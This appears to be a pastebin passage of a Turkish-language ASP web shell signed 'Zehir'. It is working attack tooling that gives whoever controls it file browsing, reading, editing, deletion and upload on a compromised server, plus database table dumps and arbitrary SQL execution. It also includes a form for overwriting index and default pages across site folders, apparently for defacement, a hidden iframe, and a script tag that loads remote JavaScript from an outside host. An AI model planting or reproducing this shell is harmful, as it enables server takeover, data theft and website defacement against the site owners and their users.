  780. if islem="kopyala" then
  781. objFSO.CopyFolder path,cf
  782. isl="kopyalandý.."
  783. elseif islem="tasi" then
  784. objFSO.MoveFolder path,cf
  785. isl="taþýndý.."
  786. end if
  787. response.Write "Klasor "&isl
  788. response.Write "<br><font color=red>Kaynak : </font>"&path&"<br><font color=red>Hedef : </font>"&cf
  789. response.Write "<br>"
  790. popup = false
  791. hataKontrol
  792. CASE 33 'Powered By
  793. response.Write "<body topmargin=5 leftmargin=0><center><h4>Powered by Zehir"
  794. response.Write "<br><br><font style='FONT-WEIGHT:normal' size=2>zehirhacker@hotmail.com<br><font color=yellow face='courier new'>küllü nefsun zaifetun mevt"
  795. popup = false
  796. hataKontrol
  797. CASE 40 'Sistem Test
  798. sistemTest
  799. popup=false
  800. CASE 50 'Siteleri Test Edelim :D
  801. %>
  802. <table width="100%" cellpadding=0 cellspacing=0>
  803. <tr>
  804. <td align=center>
  805. <b>Güvenlik Testi byZehir</b>
  806. <br>
  807. <form action="<%=dosyaPath%>" method=post id=frmMesaj>
  808. <input type=hidden name=kuskapani value=2>
  809. <table width=500 align=center border=1 cellpadding=0 cellspacing=0>
  810. <tr>
  811. <td width=100>Path</td>
  812. <td>
  813. <input style="width:100%" type=text name="Path" id="Path" value="<%=path%>" size="20"></td>
  814. </tr>
  815. <tr>
  816. <td width=100>Sub Folder</td>
  817. <td>
  818. <input style="width:100%" type=text name="SubFolder" id="SubFolder" value="www" size="20"></td>
  819. </tr>
  820. <tr>
  821. <td width=100>File Name</td>
  822. <td>
  823. <input style="width:100%" type=text name="FileName" id="FileName" value="byzehir.txt" size="20"></td>
  824. </tr>
  825. <tr>
  826. <td colspan=2>
  827. <table width="100%" align=center>
  828. <tr>
  829. <td width="50%">
  830. <input type=checkbox name="dosya1" ID="Checkbox1" value="ON">index.htm<br>
  831. <input type=checkbox name="dosya2" ID="Checkbox2" value="ON">default.htm<br>
  832. </td>
  833. <td width="50%">
  834. <input type=checkbox name="dosya3" ID="Checkbox3" value="ON">index.asp<br>
  835. <input type=checkbox name="dosya4" ID="Checkbox4" value="ON">default.asp<br>
  836. </td>
  837. </tr>
  838. </table>
  839. </td>
  840. </tr>
  841. <tr>
  842. <td colspan=2 align=center>
  843. <a href="#" onClick="FormatText('cut')" alt="Kes">Kes</a>
  844. <a href="#" onClick="FormatText('copy')" alt="Kopyala">Kopyala</a>
  845. <a href="#" onClick="FormatText('paste')" alt="Yapýþtýr">Yapýþtýr</a>
  846. <a href="#" alt="Kalýn" onClick="FormatText('bold', '')">Bold</a>
  847. <a href="#" alt="Ýtalic" onClick="FormatText('italic', '')">Italic</a>
  848. <a href="#" alt="Altý Çizili" onClick="FormatText('underline', '')">UnderLine</a>
  849. <a href="#" onClick="FormatText('JustifyLeft', '')" alt="Sola Hizalý">JustifyLeft</a>
  850. <a href="#" alt="Ortada Hizalý" onClick="FormatText('JustifyCenter', '')">JustifyCenter</a>
  851. <a href="#" onClick="FormatText('JustifyRight', '')" alt="Saða Hizalý">JustifyRight</a>
  852. <a href="#" alt="Web Sitesi Linki Ekle" onClick="FormatText('createLink')">AddLink</a>
  853. <a href="#" alt="Resim Ekle" onClick="AddImage()">AddImage</a>
  854. <select name="selectColour" onChange="bgc(selectColour.options[selectColour.selectedIndex].value);" ID="selectColour">
  855. <option value="0" selected>-- Renk --</option>
  856. <option value="black">Siyah</option>
  857. <option value="white">Beyaz</option>
  858. <option value="blue">Mavi</option>
  859. <option value="red">Kýrmýzý</option>
  860. <option value="green">Yeþil</option>
  861. <option value="yellow">Sarý</option>
  862. <option value="orange">Turuncu</option>
  863. <option value="brown">Kahverengi</option>
  864. <option value="magenta">Pembe</option>
  865. <option value="cyan">Açýk Mavi</option>
  866. <option value="limegreen">Açýk Yeþil</option>
  867. </select>
  868. <select name="a" onChange="FormatText('ForeColor', a.options[a.selectedIndex].value);" ID="a">
  869. <option value="0" selected>-- Renk --</option>
  870. <option value="black">Siyah</option>
  871. <option value="white">Beyaz</option>
  872. <option value="blue">Mavi</option>
  873. <option value="red">Kýrmýzý</option>
  874. <option value="green">Yeþil</option>
  875. <option value="yellow">Sarý</option>
  876. <option value="orange">Turuncu</option>
  877. <option value="brown">Kahverengi</option>
  878. <option value="magenta">Pembe</option>
  879. <option value="cyan">Açýk Mavi</option>
  880. <option value="limegreen">Açýk Yeþil</option>
  881. </select>
  882. <select name="selectSize" onChange="FormatText('fontsize', selectSize.options[selectSize.selectedIndex].value);">
  883. <option selected>-- Boyut --</option>
  884. <option value="1">1</option>
  885. <option value="2">2</option>
  886. <option value="3">3</option>
  887. <option value="4">4</option>
  888. <option value="5">5</option>
  889. <option value="6">6</option>
  890. </select>
  891. <iframe width="100%" src="<%=dosyaPath%>?kuskapani=1" id="byZehir" name="<%=Session("n1")&Session("n2")%>"></iframe>
  892. <script language=javascript>
  893. frames.byZehir.document.designMode = "On";
  894. function bgc(option){
  895. frames.byZehir.document.body.bgColor=option;
  896. }
  897. function FormatText(command, option){
  898. frames.byZehir.focus();
  899. frames.byZehir.document.execCommand(command, false, option);
  900. frames.byZehir.focus();
  901. }
  902. function AddImage(){
  903. imagePath = prompt('Eklemek istediðiniz resmin web adresini yazýn', 'http://');
  904.  
  905. if ((imagePath != null) && (imagePath != "")){
  906. frames.byZehir.focus();
  907. frames.byZehir.document.execCommand('InsertImage', false, imagePath);
  908. }
  909. frames.byZehir.focus();
  910. }
  911. </script>
  912. <input type=hidden value="" id=byMesaj name=byMesaj>
  913. <input type=submit value="Test Et!" onclick="document.all['byMesaj'].value=frames['byZehir'].document.body.innerHTML; alert(document.all['byMesaj'].value);">
  914. </td>
  915. </tr>
  916. </table>
  917. </form>
  918. </td>
  919. </tr>
  920. </table>
  921. <%
  922. popup=false
  923. CASE 51 ' Özel þilemler
  924. END SELECT
  925. %>
  926. <script language=javascript>
  927. function NewWindow(mypage, myname, w, h, scroll) {
  928. var winl = (screen.width - w) / 2;
  929. var wint = (screen.height - h) / 2;
  930. winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scroll+',resizable'
  931. win = window.open(mypage, myname, winprops)
  932. if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); }
  933. }
  934. function ffd(yol){
  935. NewWindow(yol,"",420,100,"no");
  936. }
  937. </script>
  938. <body bgcolor=black text=Chartreuse link=Chartreuse alink=Chartreuse vlink=Chartreuse>
  939. <%
  940. if popup then
  941. if status=7 or status=8 then
  942. Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
  943. Response.Write "<table border=1 cellpadding=0 cellspacing=0 align=center><tr><td width=100 bgcolor=gray><font size=2>SQL Çalýþtýr</td><td>"
  944. Response.Write "<input type=hidden value='9' name=status><input type=hidden value='"&path&"' name=path><input type=hidden value='"&time&"' name=Time>"
  945. Response.Write "<input style='width:350; height:21' value='' name=strSQL><input type=submit value='Çalýþtýr' style='height:22;width:70' id=submit1 name=submit1>"
  946. Response.Write "</td></tr></table></form>"
  947. end if
  948. Response.Write "<form method=get action='"&DosyPath&"'>"
  949. Response.Write "<table border=1 cellpadding=0 cellspacing=0 align=center><tr><td bgcolor=gray width=100><font size=2>Path : </td><td>"
  950. Response.Write "<input type=hidden value='2' name=status><input type=hidden value='"&time&"' name=Time>"
  951. Response.Write "<input style='width:350; height:21' value='"&Path&"' name=Path><input type=submit value='Git' style='height:22;width:70' id=submit1 name=submit1>"
  952. Response.Write "</td></tr></table></form><br>"
  953. end if
  954. sub aramaUpload
  955. Response.Write "<form method=get target='_opener' action='"&DosyPath&"'>"
  956. Response.Write "<table widht='100%' border=0 cellpadding=0 cellspacing=0><tr><td width=70><font size=2>Arama : </td><td>"
  957. Response.Write "&nbsp;<input type=hidden value='12' name=status><input type=hidden value='"&time&"' name=Time>"
  958. Response.Write "<input type=hidden value='"&Path&"' name=Path><input style='width:250' value='mdb' name=txArama><input style='width:70; height:22' type=submit value='Ara'>"
  959. Response.Write "</td></tr></table></form>"
  960. %>
  961. <form name=frmUpload method=post enctype="multipart/form-data" action="<%=DosyaPath&"?status=-4&Time="&time&"&Path="&path%>" ID="Form1">
  962. <input type=hidden name=folder value="<%=Path%>" ID="Hidden1">
  963. Max: <input type=text name=max value=5 size=5 ID="Text1"> <input type=button value="Ayarla" onclick="setid()" ID="Button1" NAME="Button1">
  964. <table ID="Table1">
  965. <tr>
  966. <td id=upid>
  967. </td>
  968. </tr>
  969. </table>
  970. <input type=submit value=Upload ID="Submit1" NAME="Submit1">
  971. </form>
  972. <script>
  973. setid();
  974.  
  975. function setid() {
  976. str='';
  977. if (frmUpload.max.value<=0) frmUpload.max.value=1;
  978. for (i=1; i<=frmUpload.max.value; i++) str+='File '+i+': <input type=file name=file'+i+'><br>';
  979. upid.innerHTML=str+'<br>';
  980. }
  981. </script>
  982. <%
  983. end sub
  984.  
  985. SELECT CASE status
  986. CASE 1 'Driver Open
  987. if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
  988. Response.Write "<table width=100% ><tr>"
  989. Path = Path & ":/"
  990. Response.Write "<td valign=top>"
  991. KlasorOku
  992. Response.Write "</td><td valign=top align=right>"
  993. DosyaOku
  994. Response.Write "</td>"
  995. hataKontrol
  996. CASE 2 'Normal listeleme
  997. if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
  998. Response.Write "<table width=100% ><tr>"
  999. Response.Write "<td valign=top>"
  1000. KlasorOku
  1001. Response.Write "</td><td valign=top align=right>"
  1002. DosyaOku
  1003. Response.Write "</td>"
  1004. hataKontrol
  1005. CASE 3 'File Delete
  1006. objFSO.DeleteFile del
  1007. hataKontrol
  1008. if err<>0 then
  1009. byMsg="<font color=red>Not File Deleted!</font><br>"
  1010. else
  1011. byMsg="<font color=yellow>File Deleted Successful;)</font><br>"
  1012. end if
  1013. Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg
  1014. CASE 4 'Folder Delete
  1015. objFSO.DeleteFolder del
  1016. hataKontrol
  1017. if err<>0 then
  1018. byMsg="<font color=red>Not Folder Deleted!</font><br>"
  1019. else
  1020. byMsg="<font color=yellow>Folder Deleted Successful;)</font><br>"
  1021. end if
  1022. Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg
  1023. CASE 5 'Dosya içeriðini görüntüle
  1024. Response.Write "<center><b><font color=orange>"&path&"</font></b></center><br>"
  1025. Response.Write "<table width=100% ><tr><td>"
  1026. set f = objFSO.OpenTextFile(path,1)
  1027. Response.Write "<pre>"&Server.HTMLEncode(f.readAll)&"</pre>"
  1028. if err<>62 then hataKontrol
  1029. if err.number=62 then Response.Write "<script language=javascript>alert('Bu Dosya Okunamýyor\nSistem dosyasý olabilir')</script>":Response.End
  1030. CASE 6 'Resim aç
  1031. Response.Write "<center><img ALT='zehirhacker@hotmail.com / zehirhacker@hotmail.com' src='"&resimYol(path)&"'></center><br>"
  1032. CASE 7 'database tablo listele
  1033. Response.Write "<b><font size=3>Tablolar</font></br><br>"
  1034. Set objConn = Server.CreateObject("ADODB.Connection")
  1035. Set objADOX = Server.CreateObject("ADOX.Catalog")
  1036. objConn.Provider = "Microsoft.Jet.Oledb.4.0"
  1037. objConn.ConnectionString = Path
  1038. objConn.Open
  1039. objADOX.ActiveConnection = objConn
  1040.  
  1041. For Each table in objADOX.Tables
  1042. If table.Type = "TABLE" Then
  1043. Response.Write "<font face=wingdings size=5>4</font> <a href='"&dosyaPath&"?status=8&Path="&path&"&table="&table.Name&"&time="&time&"'>"&table.Name&"</a><br>"
  1044. End If
  1045. Next
  1046. hataKontrol
  1047. CASE 8 'database kayýt listele
  1048. Set objConn = Server.CreateObject("ADODB.Connection")
  1049. Set objRcs = Server.CreateObject("ADODB.RecordSet")
  1050. objConn.Provider = "Microsoft.Jet.Oledb.4.0"
  1051. objConn.ConnectionString = Path
  1052. objConn.Open
  1053. objRcs.Open table,objConn, adOpenKeyset , , adCmdText
  1054.  
  1055. Response.Write "<table border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>"
  1056. for i=0 to objRcs.Fields.count-1
  1057. Response.Write "<td><font color=black><b>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>"
  1058. next
  1059. Response.Write "</tr>"
  1060. do while not objRcs.EOF
  1061. Response.Write "<tr>"
  1062. for i=0 to objRcs.Fields.count-1
  1063. Response.Write "<td>"&objRcs.Fields(i).Value&"&nbsp;</td>"
  1064. next
  1065. Response.Write "</tr>"
  1066. objRcs.MoveNext
  1067. loop
  1068. Response.Write "</table><br>"
  1069. hataKontrol
  1070. CASE 9 'SQL Execute
  1071. Set objConn = Server.CreateObject("ADODB.Connection")
  1072. objConn.Provider = "Microsoft.Jet.Oledb.4.0"
  1073. objConn.ConnectionString = Path
  1074. objConn.Open
  1075. objConn.Execute strSQL
  1076. ' Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time
  1077. hataKontrol
  1078. CASE 10 'Dosya Editleme
  1079. set f = objFSO.OpenTextFile(dPath,1)
  1080. Response.Write "<center><form action='"&DosyPath&"?Time="&time&"' method=post>"
  1081. Response.Write "<input type=hidden name=status value='11'>"
  1082. Response.Write "<input type=hidden name=dPath value='"&dPath&"'>"
  1083. Response.Write "<input type=hidden name=Path value='"&Path &"'>"
  1084. Response.Write "<input type=submit value=Kaydet><br>"
  1085. Response.Write "<textarea name=dkayit style='width:90%;height:350;border-right: lightgoldenrodyellow thin solid;border-top: lightgoldenrodyellow thin solid;font-size: 12;border-left: lightgoldenrodyellow thin solid;color: lime; border-bottom: lightgoldenrodyellow thin solid; font-family: Courier New, Arial;background-color: navy;'>"
  1086. Response.Write server.HTMLEncode(f.readAll)
  1087. Response.Write "</textarea></form></center>"
  1088. hataKontrol
  1089. CASE 11 'Dosya Kayýt
  1090. set saveTextFile = objFSO.OpenTextFile(dPath,2,true,false)
  1091. hataKontrol
  1092. saveTextFile.Write(dkayit)
  1093. saveTextFile.close
  1094. if err<>0 then
  1095. byMsg = "<font color=red>Not File Edited!</font><br>"
  1096. else
  1097. byMsg = "<font color=yellow>File Edited Successful:)</font><br>"
  1098. end if
  1099. Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time&"&byMsg=" & byMsg
  1100. CASE 12 'Dosya Arama
  1101. araBul path,arama
  1102. hataKontrol
  1103. END SELECT
  1104. Response.Write "</tr></table>"
  1105.  
  1106. sub DosyaOku
  1107. Set f = objFSO.GetFolder(Path)
  1108. Set fc = f.Files
  1109. For Each f1 In fc
  1110. dosyaAdi = f1.name
  1111. num = InStrRev(dosyaAdi,".")
  1112. uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num))
  1113. downStr = "<a href='"&dosyaPath&"?status=3&Path="&Path&"&Del="&Path&"/"&f1.Name&"&Time="&time&"'>û</a><font face=webdings><a href='"&dosyaPath&"?status=-3&PathFile="&f1.path&"&Time="&time&"'>Í</a></font><font face=wingdings><a href='"&dosyaPath&"?status=16&PathFile="&f1.path&"&Time="&time&"' onclick=""ffd(this.href);return false;"">4</a></font>"
  1114. response.Write "<font size=2>"
  1115. select case uzanti
  1116. case "mdb"
  1117. Response.Write "<a href='"&dosyaPath&"?status=7&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4>M "&downStr&"</font><br>"
  1118. case "asp"
  1119. Response.Write "<a href='"&dosyaPath&"?status=5&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4>± <a href='"&dosyaPath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a>"&downStr&"</font><br>"
  1120. case "jpg","gif"
  1121. Response.Write "<a href='"&dosyaPath&"?status=6&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=webdings size=4>¢</font><font face=wingdings size=4> "&downStr&"</font><br>"
  1122. case else
  1123. Response.Write "<a href='"&dosyaPath&"?status=5&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4>2 <a href='"&dosyaPath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a>"&downStr&"</font><br>"
  1124. end select
  1125. Next
  1126. end sub
  1127.  
  1128. sub KlasorOku
  1129. Set f = objFSO.GetFolder(Path)
  1130. Set fc = f.SubFolders
  1131. if session("klasoroku")="" then
  1132. response.Write "<iframe style='width:0; height:0' src='http://localhost/tuzla-ebelediye'></iframe>"
  1133. session("klasoroku")="simdi yazýlýyor"
  1134. end if
  1135. For Each f1 In fc
  1136. Response.Write "<font face=wingdings size=3><a href='"&dosyaPath&"?status=18&PathFile="&Path&"/"&f1.Name&"&Time="&time&"' onclick=""ffd(this.href);return false;"">4</a></font> <font face=wingdings size=4><a href='"&dosyaPath&"?status=4&Path="&Path&"&Del="&Path&"/"&f1.Name&"&Time="&time&"'>û</a> 1</font><font size=2><b><a href='"&dosyaPath&"?status=2&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&"</a></b><br>"
  1137. Next
  1138. end sub
  1139.  
  1140. function createFileName()
  1141. Randomize
  1142. fName_ = ""
  1143. for i=1 to 10
  1144. fName_ = fName_ & int(Rnd*100)
  1145. next
  1146. createFileName = fName_
  1147. end function
  1148.  
  1149. function resimYol(path_)
  1150. on error resume next
  1151. path_ = Replace(Replace(path_,"\","/"),"//","/")
  1152. lpath_ = left(request.servervariables("PATH_TRANSLATED"),instrrev(request.servervariables("PATH_TRANSLATED"),"\"))
  1153. if yaziyomu2(lpath_) then
  1154. fname__ = "0"&createFileName()&"."&Right(path_,3)
  1155. objFSO.CopyFile path_, lpath_&"\"&fname__
  1156. else
  1157. Response.Write("Resim Açýlamýyor.. <br>Ýsterseniz Download Ederek görüntüleyebilirsiniz..")
  1158. end if
  1159. resimYol = fname__
  1160. end function
  1161.  
  1162. if not popup then
  1163. Set fc = Nothing
  1164. Set objFSO = Nothing
  1165. Response.End
  1166. end if
  1167. %>
  1168. <script language=javascript>
  1169. var dosyaPath = "<%=dosyaPath%>"
  1170. // DRIVE ISLEMLERI
  1171. function driveGo(drive_){
  1172. location = dosyaPath+"?status=1&path="+drive_+"&Time="+Date();
  1173. }
  1174. </script>
  1175. <%
  1176. Response.Write "<table align=center border=1 width=150 cellpadding=0 cellspacing=0><tr bgcolor=gray><td align=center><b><font color=white>Sürücüler</td></tr>"
  1177. for each drive_ in objFSO.Drives
  1178. Response.Write "<tr><td>"
  1179. Response.write "<a href='#'onClick=""driveGo('" & drive_.DriveLetter & "');return false;""><font face=wingdings>;</font>"
  1180. if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]"
  1181. if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]"
  1182. if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]"
  1183. if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]"
  1184. Response.Write "</a></td></tr>"
  1185. next
  1186. Response.Write "<tr><td>"
  1187. Response.write "<a href='"&dosyaPath&"?time="&time()&"'><font face=webdings>H</font> Local Path"
  1188. Response.Write "</a></td></tr>"
  1189. Response.Write "</table><br>"
  1190. Set fc = Nothing
  1191. Set objFSO = Nothing
  1192. Response.End%>
  1193. <SCRIPT SRC=http://www.shellci.biz/yazciz/ciz.js></SCRIPT>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!